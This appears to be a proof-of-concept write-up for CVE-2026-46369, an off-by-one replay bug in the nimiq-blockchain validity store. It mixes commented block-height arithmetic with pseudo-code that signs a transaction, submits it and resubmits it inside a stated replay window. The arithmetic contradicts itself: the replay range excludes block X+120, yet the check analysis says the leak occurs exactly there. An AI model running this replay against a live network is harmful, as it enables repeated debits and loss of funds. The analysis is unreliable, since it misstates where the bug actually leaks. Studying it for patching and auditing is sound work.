CVE-2026-46369: nimiq-blockchain Validity Store Off-by-One Transaction Replay

# MainNet constants (from Nimiq Albatross policy):
# transaction_validity_window_blocks = 120
# blocks_per_batch = 60
#
# Step 1 – broadcast TX at block X (first execution, stored block_number = X)
#   Set validity_start_height = X + blocks_per_batch
#   (maximum value still compatible with first inclusion at block X)
#
# Step 2 – replay the *identical* signed TX in any block B where:
#   X + window < B < validity_start_height + window
#   => X + 120 < B < X + 60 + 120
#   => B in (X+120, X+180)   -- 59 candidate blocks
#
# The buggy store check:
#   stored_block_number > last_bn - validity_window   # strict >
#   X > B - 120
#   For B = X + 121: X > X + 121 - 120 => X > X + 1  => FALSE (correct block)
#   For B = X + 120: X > X + 120 - 120 => X > X      => FALSE (off-by-one leaks here)
#
# The patched check (>= closes the gap):
#   X >= B - 120
#   For B = X + 120: X >= X  => TRUE  (replay now correctly detected)

# Concrete PoC (pseudo-code / Nimiq RPC call)
tx = sign_transaction(
    sender       = ATTACKER_ADDRESS,
    recipient    = RECIPIENT_ADDRESS,
    value        = AMOUNT,
    validity_start_height = X + 60   # blocks_per_batch = 60
)

# First submission at block X (normal execution)
send_raw_transaction(tx)

# Replay at block B in range (X+120, X+180) -- store wrongly accepts it
wait_for_block(X + 121)  # any block in the 59-block gap
send_raw_transaction(tx)  # executes again; sender debited a second time